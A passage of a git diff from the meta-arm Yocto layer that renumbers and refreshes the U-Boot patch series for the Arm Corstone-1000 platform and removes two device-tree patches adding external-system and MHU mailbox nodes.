Date: Mon, 17 Jul 2023 16:50:53 +0100
-Subject: [PATCH 17/33] arm:corstone1000: add mmc for fvp
+Subject: [PATCH 17/38] arm:corstone1000: add mmc for fvp
Enable support mmc/sdcard for the corstone1000 FVP.
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0018-corstone1000-add-compressed-kernel-support.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0018-corstone1000-add-compressed-kernel-support.patch
index 0f28cdf316..97cf4d0e35 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0018-corstone1000-add-compressed-kernel-support.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0018-corstone1000-add-compressed-kernel-support.patch
@@ -1,7 +1,7 @@
-From a5879f1e7d91fc31058ba75b499d77cab080d611 Mon Sep 17 00:00:00 2001
+From b5cfd8ab77e7f305b170a8cd25575e8cc08babc5 Mon Sep 17 00:00:00 2001
From: Jon Mason <jon.mason@arm.com>
Date: Wed, 30 Nov 2022 18:59:59 +0000
-Subject: [PATCH 18/33] corstone1000: add compressed kernel support
+Subject: [PATCH 18/38] corstone1000: add compressed kernel support
The corstone1000 kernel has become too large to fit in the available
storage. Swtiching to a compressed kernel avoids the problem, but
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0019-Introduce-external-sys-driver-to-device-tree.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0019-Introduce-external-sys-driver-to-device-tree.patch
deleted file mode 100644
index a4c6625455..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0019-Introduce-external-sys-driver-to-device-tree.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 0748658414dd02cec0219841a86c4e7b99bfc171 Mon Sep 17 00:00:00 2001
-From: Emekcan <emekcan.aras@arm.com>
-Date: Wed, 30 Nov 2022 19:02:26 +0000
-Subject: [PATCH 19/33] Introduce external sys driver to device-tree
-
-It adds external sys driver binding to u-boot
-device tree.
-
-Signed-off-by: Emekcan Aras <emekcan.aras@arm.com>
-Upstream-Status: Pending [Not submitted to upstream yet]
-Signed-off-by: Rui Miguel Silva <rui.silva@linaro.org>
----
- arch/arm/dts/corstone1000.dtsi | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/arch/arm/dts/corstone1000.dtsi b/arch/arm/dts/corstone1000.dtsi
-index 533dfdf8e1..a834d38454 100644
---- a/arch/arm/dts/corstone1000.dtsi
-+++ b/arch/arm/dts/corstone1000.dtsi
-@@ -167,5 +167,12 @@
- secure-status = "okay"; /* secure-world-only */
- status = "disabled";
- };
-+
-+ extsys0: extsys@1A010310 {
-+ compatible = "arm,extsys_ctrl";
-+ reg = <0x1A010310 0x4>,
-+ <0x1A010314 0X4>;
-+ reg-names = "rstreg", "streg";
-+ };
- };
- };
---
-2.25.1
-
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0021-arm-corstone1000-esrt-support.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0019-arm-corstone1000-esrt-support.patch
index 369613eb90..11e5124a30 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0021-arm-corstone1000-esrt-support.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0019-arm-corstone1000-esrt-support.patch
@@ -1,7 +1,7 @@
-From 0380dee4df6ef11bb08a9c44119b41c58afc562d Mon Sep 17 00:00:00 2001
+From d7682e9f7c45fffe5be0bc67ee9e31fdca1b94c5 Mon Sep 17 00:00:00 2001
From: Satish Kumar <satish.kumar01@arm.com>
Date: Wed, 30 Nov 2022 19:11:43 +0000
-Subject: [PATCH 21/33] arm/corstone1000: esrt support
+Subject: [PATCH 19/38] arm/corstone1000: esrt support
The implementation is platform specific and would require
change in future.
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0020-Add-mhu-and-rpmsg-client-to-u-boot-device-tree.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0020-Add-mhu-and-rpmsg-client-to-u-boot-device-tree.patch
deleted file mode 100644
index f3b1503cf3..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0020-Add-mhu-and-rpmsg-client-to-u-boot-device-tree.patch
+++ /dev/null
@@ -1,80 +0,0 @@
-From 396229d3d29d9cfd5e2567be5427a9066072e32f Mon Sep 17 00:00:00 2001
-From: Emekcan <emekcan.aras@arm.com>
-Date: Mon, 12 Sep 2022 15:47:06 +0100
-Subject: [PATCH 20/33] Add mhu and rpmsg client to u-boot device tree
-
-Adds external system controller and mhu driver to u-boot
-device tree. This enables communication between host and
-the external system.
-
-Signed-off-by: Emekcan Aras <Emekcan.Aras@arm.com>
-Upstream-Status: Pending [Not submitted to upstream yet]
-Signed-off-by: Rui Miguel Silva <rui.silva@linaro.org>
----
- arch/arm/dts/corstone1000.dtsi | 50 ++++++++++++++++++++++++++++++++++
- 1 file changed, 50 insertions(+)
-
-diff --git a/arch/arm/dts/corstone1000.dtsi b/arch/arm/dts/corstone1000.dtsi
-index a834d38454..18c4d1e19a 100644
---- a/arch/arm/dts/corstone1000.dtsi
-+++ b/arch/arm/dts/corstone1000.dtsi
-@@ -168,6 +168,56 @@
- status = "disabled";
- };
-
-+ mbox_es0mhu0_tx: mhu@1b000000 {
-+ compatible = "arm,mhuv2-tx","arm,primecell";
-+ reg = <0x1b000000 0x1000>;
-+ clocks = <&refclk100mhz>;
-+ clock-names = "apb_pclk";
-+ interrupts = <GIC_SPI 11 IRQ_TYPE_LEVEL_HIGH>;
-+ #mbox-cells = <2>;
-+ arm,mhuv2-protocols = <1 1>;
-+ mbox-name = "arm-es0-mhu0_tx";
-+ };
-+
-+ mbox_es0mhu0_rx: mhu@1b010000 {
-+ compatible = "arm,mhuv2-rx","arm,primecell";
-+ reg = <0x1b010000 0x1000>;
-+ clocks = <&refclk100mhz>;
-+ clock-names = "apb_pclk";
-+ interrupts = <GIC_SPI 12 IRQ_TYPE_LEVEL_HIGH>;
-+ #mbox-cells = <2>;
-+ arm,mhuv2-protocols = <1 1>;
-+ mbox-name = "arm-es0-mhu0_rx";
-+ };
-+
-+ mbox_es0mhu1_tx: mhu@1b020000 {
-+ compatible = "arm,mhuv2-tx","arm,primecell";
-+ reg = <0x1b020000 0x1000>;
-+ clocks = <&refclk100mhz>;
-+ clock-names = "apb_pclk";
-+ interrupts = <GIC_SPI 46 IRQ_TYPE_LEVEL_HIGH>;
-+ #mbox-cells = <2>;
-+ arm,mhuv2-protocols = <1 1>;
-+ mbox-name = "arm-es0-mhu1_tx";
-+ };
-+
-+ mbox_es0mhu1_rx: mhu@1b030000 {
-+ compatible = "arm,mhuv2-rx","arm,primecell";
-+ reg = <0x1b030000 0x1000>;
-+ clocks = <&refclk100mhz>;
-+ clock-names = "apb_pclk";
-+ interrupts = <GIC_SPI 47 IRQ_TYPE_LEVEL_HIGH>;
-+ #mbox-cells = <2>;
-+ arm,mhuv2-protocols = <1 1>;
-+ mbox-name = "arm-es0-mhu1_rx";
-+ };
-+
-+ client {
-+ compatible = "arm,client";
-+ mboxes = <&mbox_es0mhu0_tx 0 0>, <&mbox_es0mhu1_tx 0 0>, <&mbox_es0mhu0_rx 0 0>, <&mbox_es0mhu1_rx 0 0>;
-+ mbox-names = "es0mhu0_tx", "es0mhu1_tx", "es0mhu0_rx", "es0mhu1_rx";
-+ };
-+
- extsys0: extsys@1A010310 {
- compatible = "arm,extsys_ctrl";
- reg = <0x1A010310 0x4>,
---
-2.25.1
-
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0022-corstone1000-enable-distro-booting-command.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0020-corstone1000-enable-distro-booting-command.patch
index 6f04081cb5..ba9aeeb7ba 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0022-corstone1000-enable-distro-booting-command.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0020-corstone1000-enable-distro-booting-command.patch
@@ -1,7 +1,7 @@
-From b3c9b57d862060b7d112725a567c0ff24184c6e1 Mon Sep 17 00:00:00 2001
+From 0094eb1e6ca78988f105fefb69dd5cc9046c89fe Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Mon, 5 Dec 2022 17:02:32 +0000
-Subject: [PATCH 22/33] corstone1000: enable distro booting command
+Subject: [PATCH 20/38] corstone1000: enable distro booting command
enable distro_bootcmd
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0023-corstone1000-add-fwu-metadata-store-info.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0021-corstone1000-add-fwu-metadata-store-info.patch
index 6b347962b3..e524d832fa 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0023-corstone1000-add-fwu-metadata-store-info.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0021-corstone1000-add-fwu-metadata-store-info.patch
@@ -1,7 +1,7 @@
-From 10265c2006291f961cc4fdbbffdec6c5f52bf73b Mon Sep 17 00:00:00 2001
+From 7f0ab0707b476d141bcf16de78d09c793b3b7387 Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Wed, 1 Feb 2023 15:58:07 +0000
-Subject: [PATCH 23/33] corstone1000: add fwu-metadata store info
+Subject: [PATCH 21/38] corstone1000: add fwu-metadata store info
Add fwu-mdata node and handle for the reference
nvmxip-qspi.
@@ -13,7 +13,7 @@ Signed-off-by: Rui Miguel Silva <rui.silva@linaro.org>
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/arch/arm/dts/corstone1000.dtsi b/arch/arm/dts/corstone1000.dtsi
-index 18c4d1e19a..25a032b6b3 100644
+index 533dfdf8e1..1e0ec075e4 100644
--- a/arch/arm/dts/corstone1000.dtsi
+++ b/arch/arm/dts/corstone1000.dtsi
@@ -38,7 +38,7 @@
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0024-fwu_metadata-make-sure-structures-are-packed.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0022-fwu_metadata-make-sure-structures-are-packed.patch
index 88566a6fbf..addd1df2a8 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0024-fwu_metadata-make-sure-structures-are-packed.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0022-fwu_metadata-make-sure-structures-are-packed.patch
@@ -1,7 +1,7 @@
-From 046e54d0152987163355e33fe260419dfcf3b8bb Mon Sep 17 00:00:00 2001
+From b2e413049dcf3dcbe3891a8a70bdd36f30b2e6c8 Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Wed, 1 Feb 2023 16:13:24 +0000
-Subject: [PATCH 24/33] fwu_metadata: make sure structures are packed
+Subject: [PATCH 22/38] fwu_metadata: make sure structures are packed
The fwu metadata in the metadata partitions
should/are packed to guarantee that the info is
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0025-corstone1000-add-boot-index.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0023-corstone1000-add-boot-index.patch
index 45ec44fb57..b4be24f4f1 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0025-corstone1000-add-boot-index.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0023-corstone1000-add-boot-index.patch
@@ -1,7 +1,7 @@
-From 92f471d3195e3893f463b11d49f0db62793ca585 Mon Sep 17 00:00:00 2001
+From 62eaf5720bfe49feedf486c57ce9b9968360460c Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Mon, 17 Jul 2023 17:04:10 +0100
-Subject: [PATCH 25/33] corstone1000: add boot index
+Subject: [PATCH 23/38] corstone1000: add boot index
it is expected that the firmware that runs before
u-boot somehow provide the information of the bank
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0026-corstone1000-adjust-boot-bank-and-kernel-location.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0024-corstone1000-adjust-boot-bank-and-kernel-location.patch
index 9a889eaffb..ddf80f3e73 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0026-corstone1000-adjust-boot-bank-and-kernel-location.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0024-corstone1000-adjust-boot-bank-and-kernel-location.patch
@@ -1,7 +1,7 @@
-From 6ea58b2450c72036551e59186888474bcb54a194 Mon Sep 17 00:00:00 2001
+From 147f98fbefc7e13d1b9a3ae4b5fd3adc30dbed6b Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Wed, 1 Feb 2023 16:17:21 +0000
-Subject: [PATCH 26/33] corstone1000: adjust boot bank and kernel location
+Subject: [PATCH 24/38] corstone1000: adjust boot bank and kernel location
Adjust in the env boot script the address of the
bootbank with the new gpt layout, and also the
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0027-corstone1000-add-nvmxip-fwu-mdata-and-gpt-options.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0025-corstone1000-add-nvmxip-fwu-mdata-and-gpt-options.patch
index 621b9d17d5..78334059e3 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0027-corstone1000-add-nvmxip-fwu-mdata-and-gpt-options.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0025-corstone1000-add-nvmxip-fwu-mdata-and-gpt-options.patch
@@ -1,7 +1,7 @@
-From af1bb3af4ff7bb9486dc9489d27605b8eded45b9 Mon Sep 17 00:00:00 2001
+From ff2e0fe577c5a564a10bcc730392dd5397f6cb34 Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Mon, 17 Jul 2023 17:33:52 +0100
-Subject: [PATCH 27/33] corstone1000: add nvmxip, fwu-mdata and gpt options
+Subject: [PATCH 25/38] corstone1000: add nvmxip, fwu-mdata and gpt options
Enable the newest features: nvmxip, fwu-metadata and
gpt. Commands to print the partition info, gpt info
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0028-nvmxip-move-header-to-include.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0026-nvmxip-move-header-to-include.patch
index aac5a1d25d..ec38a519f8 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0028-nvmxip-move-header-to-include.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0026-nvmxip-move-header-to-include.patch
@@ -1,7 +1,7 @@
-From 050c2d8577fd98f20c8b96dab3e4c42c8508b6bc Mon Sep 17 00:00:00 2001
+From 2214be0f540121767d7b6ec4910a7389a1edd13c Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Fri, 9 Jun 2023 13:31:53 +0100
-Subject: [PATCH 28/33] nvmxip: move header to include
+Subject: [PATCH 26/38] nvmxip: move header to include
Move header to include to allow external code
to get the internal bdev structures to access
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0029-corstone1000-set-kernel_addr-based-on-boot_idx.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0027-corstone1000-set-kernel_addr-based-on-boot_idx.patch
index 6ad4648566..a95a8c6729 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0029-corstone1000-set-kernel_addr-based-on-boot_idx.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0027-corstone1000-set-kernel_addr-based-on-boot_idx.patch
@@ -1,7 +1,7 @@
-From c547f3335ddff71a7f4915dc0c99ccbcdbf24b54 Mon Sep 17 00:00:00 2001
+From c615b2e0fe9440b27b83f32c62fdc7f996237b56 Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Tue, 18 Jul 2023 12:14:47 +0100
-Subject: [PATCH 29/33] corstone1000: set kernel_addr based on boot_idx
+Subject: [PATCH 27/38] corstone1000: set kernel_addr based on boot_idx
We need to distinguish between boot banks and from which
partition to load the kernel+initramfs to memory.
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0030-corstone1000-boot-index-from-active.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0028-corstone1000-boot-index-from-active.patch
index e59a434bb9..5b68e12a64 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0030-corstone1000-boot-index-from-active.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0028-corstone1000-boot-index-from-active.patch
@@ -1,7 +1,7 @@
-From faeeeecba2a7c8c507280ce369e3779f7c63d1e4 Mon Sep 17 00:00:00 2001
+From 747da6c0d1f2558ebeaf01ba9f762efa58a08a72 Mon Sep 17 00:00:00 2001
From: Rui Miguel Silva <rui.silva@linaro.org>
Date: Mon, 27 Feb 2023 14:40:13 +0000
-Subject: [PATCH 30/33] corstone1000: boot index from active
+Subject: [PATCH 28/38] corstone1000: boot index from active
In our platform, the Secure Enclave is the one who control
all the boot tries and status, so, every time we get here
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0031-corstone1000-enable-PSCI-reset.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0029-corstone1000-enable-PSCI-reset.patch
index 9ba0205c70..828661cd90 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0031-corstone1000-enable-PSCI-reset.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0029-corstone1000-enable-PSCI-reset.patch
@@ -1,7 +1,7 @@
-From 0524aa417c4989bf03366f13a2456b3bcb72fb87 Mon Sep 17 00:00:00 2001
+From af7054ffdb1f84875a652c6b968dacf9a29cdc9c Mon Sep 17 00:00:00 2001
From: Emekcan Aras <emekcan.aras@arm.com>
Date: Tue, 18 Jul 2023 12:19:17 +0100
-Subject: [PATCH 31/33] corstone1000: enable PSCI reset
+Subject: [PATCH 29/38] corstone1000: enable PSCI reset
Even though corstone1000 does not implement entire PSCI APIs,it relies on
PSCI reset interface for the system reset. U-boot change the config name, so we
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0032-Enable-EFI-set-get-time-services.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0030-Enable-EFI-set-get-time-services.patch
index acc35f176c..437ee88505 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0032-Enable-EFI-set-get-time-services.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0030-Enable-EFI-set-get-time-services.patch
@@ -1,7 +1,7 @@
-From 0ba2b25a9c1dd9c63615bf6830cfb470f33a31b5 Mon Sep 17 00:00:00 2001
+From 8ee7a9c05eb1abe10be139f439f2adf638614290 Mon Sep 17 00:00:00 2001
From: Gowtham Suresh Kumar <gowtham.sureshkumar@arm.com>
Date: Tue, 18 Jul 2023 12:21:39 +0100
-Subject: [PATCH 32/33] Enable EFI set/get time services
+Subject: [PATCH 30/38] Enable EFI set/get time services
SetTime_Conf and SetTime_Func tests in UEFI SCT test suite of ACS
fails with unsupported return value. CONFIG_EFI_SET_TIME and
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0033-corstone1000-detect-inflated-kernel-size.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0031-corstone1000-detect-inflated-kernel-size.patch
index 9fd5b33b70..0a61fd4be1 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0033-corstone1000-detect-inflated-kernel-size.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0031-corstone1000-detect-inflated-kernel-size.patch
@@ -1,7 +1,7 @@
-From b57e05e95735b9b58e81b7a67f483b645c56811e Mon Sep 17 00:00:00 2001
+From b65511da443c07b45151b30ea2dc280219f4252b Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Fri, 11 Aug 2023 10:41:19 +0100
-Subject: [PATCH] corstone1000: detect inflated kernel size
+Subject: [PATCH 31/38] corstone1000: detect inflated kernel size
use filesize variable set by unzip command
@@ -12,10 +12,10 @@ Signed-off-by: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configs/corstone1000_defconfig b/configs/corstone1000_defconfig
-index b6b1ccdd78..8a10bca069 100644
+index a0af413de8..5b0b2ac3bf 100644
--- a/configs/corstone1000_defconfig
+++ b/configs/corstone1000_defconfig
-@@ -17,7 +17,7 @@ CONFIG_FIT=y
+@@ -15,7 +15,7 @@ CONFIG_DISTRO_DEFAULTS=y
CONFIG_BOOTDELAY=3
CONFIG_USE_BOOTARGS=y
CONFIG_BOOTARGS="console=ttyAMA0 loglevel=9 ip=dhcp earlyprintk"
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0034-corstone1000-ESRT-add-unique-firmware-GUID.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0032-corstone1000-ESRT-add-unique-firmware-GUID.patch
index 197a06950a..34e45450a6 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0034-corstone1000-ESRT-add-unique-firmware-GUID.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0032-corstone1000-ESRT-add-unique-firmware-GUID.patch
@@ -1,7 +1,7 @@
-From 98b33cc6b3a56f56224e0a6fe6c3564de7b1341a Mon Sep 17 00:00:00 2001
+From 7e63d4982fd4436d9d0d9abebd9e0ed1473f5237 Mon Sep 17 00:00:00 2001
From: Anusmita Dutta Mazumder <anusmita.duttamazumder@arm.com>
Date: Tue, 8 Aug 2023 10:24:39 +0000
-Subject: [PATCH] corstone1000: ESRT: add unique firmware GUID
+Subject: [PATCH 32/38] corstone1000: ESRT: add unique firmware GUID
Add unique Corstone-1000 firmware GUID
@@ -12,7 +12,7 @@ Signed-off-by: Anusmita Dutta Mazumder <anusmita.duttamazumder@arm.com>
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/lib/efi_loader/efi_firmware.c b/lib/efi_loader/efi_firmware.c
-index 6135f8ed1c..c9117ae2b2 100644
+index c6ab6e2182..7792a6aa83 100644
--- a/lib/efi_loader/efi_firmware.c
+++ b/lib/efi_loader/efi_firmware.c
@@ -20,12 +20,12 @@
@@ -43,5 +43,5 @@ index 6135f8ed1c..c9117ae2b2 100644
ret = efi_fill_image_desc_array(image_info_size, image_info,
descriptor_version, descriptor_count,
--
-2.38.1
+2.25.1
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0035-dt-Provide-a-way-to-remove-non-compliant-nodes-and-p.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0033-dt-Provide-a-way-to-remove-non-compliant-nodes-and-p.patch
index 25a7aa3069..ea5e0ef8c0 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0035-dt-Provide-a-way-to-remove-non-compliant-nodes-and-p.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0033-dt-Provide-a-way-to-remove-non-compliant-nodes-and-p.patch
@@ -1,7 +1,7 @@
-From a37ab0c2578a4627111022d2d1f27f9efa1c2b76 Mon Sep 17 00:00:00 2001
+From a8ecc3ce0fcabb2414a000b7c8bfe3ce46d4392c Mon Sep 17 00:00:00 2001
From: Sughosh Ganu <sughosh.ganu@linaro.org>
Date: Thu, 21 Sep 2023 14:13:42 +0100
-Subject: [PATCH 35/37] dt: Provide a way to remove non-compliant nodes and
+Subject: [PATCH 33/38] dt: Provide a way to remove non-compliant nodes and
properties
Add a function which is registered to spy for a EVT_FT_FIXUP event,
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0036-bootefi-Call-the-EVT_FT_FIXUP-event-handler.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0034-bootefi-Call-the-EVT_FT_FIXUP-event-handler.patch
index 2eb273afc6..c44b6e33c4 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0036-bootefi-Call-the-EVT_FT_FIXUP-event-handler.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0034-bootefi-Call-the-EVT_FT_FIXUP-event-handler.patch
@@ -1,7 +1,7 @@
-From 729c0163ae6aed76b3267b95d2989e70ded66716 Mon Sep 17 00:00:00 2001
+From 829e5d3a505452fbdb420432dc885903332a8cdc Mon Sep 17 00:00:00 2001
From: Sughosh Ganu <sughosh.ganu@linaro.org>
Date: Thu, 21 Sep 2023 14:15:13 +0100
-Subject: [PATCH 36/37] bootefi: Call the EVT_FT_FIXUP event handler
+Subject: [PATCH 34/38] bootefi: Call the EVT_FT_FIXUP event handler
The bootefi command passes the devicetree to the kernel through the
EFI config table. Call the event handlers for fixing the devicetree
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0037-corstone1000-purge-U-Boot-specific-DT-nodes.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0035-corstone1000-purge-U-Boot-specific-DT-nodes.patch
index 2aafadd21f..230ebe6ebc 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0037-corstone1000-purge-U-Boot-specific-DT-nodes.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0035-corstone1000-purge-U-Boot-specific-DT-nodes.patch
@@ -1,7 +1,7 @@
-From 1527eef4dd54a425a5a178f09fa9d3d65aa3e30a Mon Sep 17 00:00:00 2001
+From 3654cebe9449584aa94563b2252c267b926219c9 Mon Sep 17 00:00:00 2001
From: Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
Date: Thu, 21 Sep 2023 15:24:34 +0100
-Subject: [PATCH 37/37] corstone1000: purge U-Boot specific DT nodes
+Subject: [PATCH 35/38] corstone1000: purge U-Boot specific DT nodes
Remove U-Boot specific DT nodes before passing the DT to Linux
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0038-corstone1000-add-signature-device-tree-overlay.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0036-corstone1000-add-signature-device-tree-overlay.patch
index 9d8c6a9e5c..04193a8f0c 100644
--- a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0038-corstone1000-add-signature-device-tree-overlay.patch
+++ b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0036-corstone1000-add-signature-device-tree-overlay.patch
@@ -1,7 +1,7 @@
-From 88cb6f5a91178903d4e306d8653b941f9727987b Mon Sep 17 00:00:00 2001
+From b6e69bd68c1e0171aa2acb78bec54da02defe129 Mon Sep 17 00:00:00 2001
From: Emekcan Aras <emekcan.aras@arm.com>
Date: Wed, 13 Sep 2023 13:20:15 +0100
-Subject: [PATCH] corstone1000: add signature device tree overlay
+Subject: [PATCH 36/38] corstone1000: add signature device tree overlay
Adds signature device tree overlay.
@@ -12,7 +12,7 @@ Upstream-Status: Pending [Not submitted to upstream yet]
1 file changed, 4 insertions(+)
diff --git a/arch/arm/dts/corstone1000.dtsi b/arch/arm/dts/corstone1000.dtsi
-index 25a032b6b3..1c3ab2c315 100644
+index 1e0ec075e4..077673dd44 100644
--- a/arch/arm/dts/corstone1000.dtsi
+++ b/arch/arm/dts/corstone1000.dtsi
@@ -111,6 +111,10 @@
@@ -27,5 +27,5 @@ index 25a032b6b3..1c3ab2c315 100644
compatible = "simple-bus";
#address-cells = <1>;
--
-2.17.1
+2.25.1
diff --git a/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0039-corstone1000-enable-authenticated-capsule-config.patch b/meta-arm/meta-arm-bsp/recipes-bsp/u-boot/u-boot/corstone1000/0037-corstone1000-enable-authenticated-capsule-config.patch
index 761234e6d5..fe48ab16da 100644
